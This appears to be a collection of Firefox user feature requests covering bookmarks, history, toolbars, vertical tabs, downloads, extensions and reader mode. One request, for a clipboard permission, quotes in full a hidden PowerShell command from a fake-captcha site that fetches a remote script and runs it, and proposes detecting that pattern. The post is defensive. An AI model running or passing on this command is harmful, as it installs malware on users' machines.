With the Firefox Mobileapp for Android when adding a new bookmark by clicking the butto⭐, the list of folders where to store the new bookmark appears, if the list is very long it becomes boring to scroll with your finger therefore I suggest to implement the + and - buttons to collapse and de-collapse the list by also inserting a flag to have the de-collapsed list by default.

When you go to delete certain pages in your history on Firefox, you have to right click and go to "delete page". In Edge, an X appears when you hover over a page in the history, and you can delete it in one click. It would be good to have something similar in Firefox. Here is Firefox: Here is Edge:

I would like to be able to have a second customizable toolbar where I could have things such as the back and forward arrows, a share button, and the refresh button easily to hand within one press. Something like the way Edge on Android has implemented it, with the main bar with the URL at the top, and the second bar at the bottom, would be great.

In whiteboard or drawing sites like tldraw & pixiv sketch where we can use stylus from a drawing tablet, the pen pressure doesn't work in Firefox. I've included screenshot of comparison of pen pressure test using https://openprocessing.org/sketch/591905/ done in Firefox(left) & Chromium(right). At first I thought this was issue from application/site because I don't use Chromium but I was told it's Firefox issue & testing it myself on both browser proves that. Please include support for pen pressure as I use Firefox everyday & don't want to rely on Chromium.

There have been requests for the vertical tab bar for some time, but I have a more advanced idea. Could all toolbars be vertical?

Hi,
I am a user of vertical tabs in its current form. I am hearing that vertical tabs will have a 'on-hover' behavior similar to Edge where the sidebar will expand on mouse-over.
One change I would like to see, perhaps a toggle as some may prefer the current behavior, relates to the way the browser handles rendering the current page when the sidebar expands/retracts (at least when the vertical tab view is active). Right now, when the sidebar resizes it triggers a redraw on the current page. I would like to be able to replicate the behavior on Edge, where the page remains stable and doesn't redraw.

It would be great if the position of the toolbar could be changed on Firefox Focus on Android, similar to Firefox for Android Beta A bottom positioned toolbar would be a quality-of-life improvement for devices with display size 6 inches and up.

Dear Firefox team, It is good that I can choose to a) open a file with Firefox, b) open it in a different app or c) download it. It is not good that all three of those actions lead to the file being downloaded into the specified download folder. I'm aware of the ability to choose this folder in the settings. However, I would really appreciate the option to choose a different folder for files that are just viewed vs. files that are intensional downloads. I understand that files need to be stored locally in order to be displayed or opened. So I would kindly suggest to differentiate two local folders: Case c) DOWNLOADING files: Store the files in the specified downloads folder Cases a) and b) OPENING files: Please store the files in a temp subfolder of the specified downloads folder (or allow specification of another folder in the settings) This would allow me to bulk delete everything from my downloads/temp folder every once in a while, while decluttering my downloads folder, which would then only store intended downloads. Thanks for considering (and opefully getting rid of this nuisance, as has also been pointed out in support requests like this: https://support.mozilla.org/en-US/questions/1370409)!

We change passwords constantly for safety. But we often lost one account or another in the in process because of that. I propose to create a list of all passwords that we used in each site. With date, hour, local, IP. To safety issue, to user to have the password history list, they need: Firefox account, phone number, email. Thanks for your attention.

Add a new setting on the Permissions section titled Clipboard with a copy icon
Why? Yesterday, i was redirected to a website with a fake "captcha" to prove I'm not a robot the instructions said to press `win + r`, then `ctrl v`, then `enter`. I didn't fall for it, but i did find it annoying that i copied something to the clipboard without me asking it to do so.
The website has been taken down but it was:
https://klinfilenorm.b-cdn.net/getcaptchanorm5.html
And what it copied to my clipboard was: ¡ Do Not run the following command !
powershell.exe -W Hidden -command $url = 'https://fetchinglinknow.b-cdn.net/service/n5.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
Maybe add detection of unwanted use of the clipboard by checking if the user had performed a click before infomation was copied to the clipboard. Or detect whenever a copied text contains "Hidden -command $url" and replace the entire copied text with "malicious text was copied to clipboard" tho this might be inconvenient for developers somehow.
Here's a visual example of the new permission setting:

It'd be useful for games like Skyrim or Dark Souls where you often tab out to access the wiki. Also it'd be nice to be able to see CPU and GPU statistics like usage and temperature, cross platform since Firefox is cross platform but I'm pretty sure all of the overlays aren't. Another really good feature would be how nvidia's windows overlay program lets you freeze the game and fly a free moving camera around the game.

In Chrome you can drag and drop tabs. You tear the tab off and then it lets you drag the tab to where you want and drop it. Completely WYSIWYG. Firefox seems to have beat Chrome in every field except this and it makes window organisation a real pain in Firefox sometimes as I have to tear and then manually move it around.

Once you have lots of extensions installed, it's difficult to manage them. You end up doing a lot of scrolling or searching with 'Ctrl + F'. Mozillia should add a utility bar at the top of the 'about:addons' page to quickly and easily: search, sort, and filter a user's installed extensions.

It is very annoying that clicking the reader mode button sets scroll position to the top of the page, and the user is forced to scan for whatever sentence they were on before they pressed the button, or use ctrl+f if they know about it. The longer a page is, the greater the theoretical benefit of reader mode, and the more time the user has to remember it exists. But the farther you are into an article, the greater the cost of switching to reader mode Consequently, reader mode is only ever worth it when the remaining text is so long as to justify the whole, "select and copy a few words, switch to reader mode, ctrl+f, ctrl+v, escape," dance.
There is no good reason for the cost to scale this way!
As a user also has the option to switch on the Dark Reader addon for the current domain with just two clicks, I never cross the bridge to reader view and as a result wind up wasting a lot of CPU time and electricity. (Dark Reader is infamous for being an enormous performance suck, even after the page is loaded.)

Dear Mozilla team, I'd like to strongly advocate designing Firefox as an application that fully adapts to users' needs, rather than users having to adapt their workflow to the application. For me, this would be the most sensible approach, as the way browsers are used differs so greatly from person to person. This means, besides the visual appearance: Full optional customization of the user interface by choosing the elements and subelements, customization of hotkeys for everything, and provision of a variety of plugins (which is already given on the desktop). It would also be good if plugins could access the entire Firefox user interface so that they could modify it. This approach could also increase the popularity of Firefox, as it could fulfill (almost) all expectations of a browser by definition. https://connect.mozilla.org/t5/ideas/customizeable-toolbar-on-android/idi-p/3126 https://connect.mozilla.org/t5/discussions/more-ui-customization-for-firefox-on-android/m-p/8396/highlight/true#M3515 https://connect.mozilla.org/t5/ideas/customizable-hotkeys/idi-p/4979

If you have enabled menu redesign and navigation toolbar in secret settings. you have a new way to use the browser when surfing on the web.(look on left and bottom picture of the picture.) But the downside of it is i can't use the extensions when i'm on the web so as example i can't disable dark mode on a website with dark reader.(Look on the right picture of the picture) The only options i have is to disable the extension in browser settings or go back to the original browser version. So please let us use the extensions like you can use it in the normal version.

Currently, when a user opens multiple tabs from a bookmarks folder, all tabs attempt to load simultaneously, which can cause performance issues and potential temporary blocks from websites due to the high number of concurrent requests. Implementing deferred tab loading would improve performance and prevent these issues. This feature would allow users to open multiple tabs from bookmarks without loading their content until the specific tab is selected. This feature also already exists in Firefox. When you restore a session, you have to open the tab to load its content, but for some reason it wasn't implemented in Bookmarks.
